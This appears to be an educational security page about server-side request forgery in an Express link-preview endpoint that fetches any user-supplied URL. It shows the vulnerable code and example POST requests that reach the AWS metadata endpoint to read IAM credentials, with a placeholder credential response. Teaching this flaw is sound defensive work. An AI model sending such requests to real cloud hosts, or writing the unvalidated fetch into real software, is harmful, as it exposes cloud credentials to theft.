Loading...
Loading...
Server-side request forgery through unvalidated URL fetching for link previews.
1app.post('/api/preview', async (req, res) => {2 const { url } = req.body;34 try {5 const response = await fetch(url);6 const html = await response.text();78 const title = html.match(/<title>(.*?)<\/title>/)?.[1];9 const desc = html.match(/meta name="description" content="(.*?)"/)?.[1];1011 res.json({ title, description: desc });12 } catch (error) {13 res.status(500).json({ error: 'Failed to fetch URL' });14 }15});
The server fetches any URL provided by the user without validation. An attacker can use this to access internal services (e.g., http://localhost:8080/admin), cloud metadata endpoints (http://169.254.169.254), or scan internal networks.
Attacker uses SSRF to steal cloud credentials
POST /api/preview
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}Response reveals AWS role name, then:
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole"}
{
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
"Token": "..."
}
✓ Full AWS credentials exposed
✓ Attacker can access S3, EC2, etc.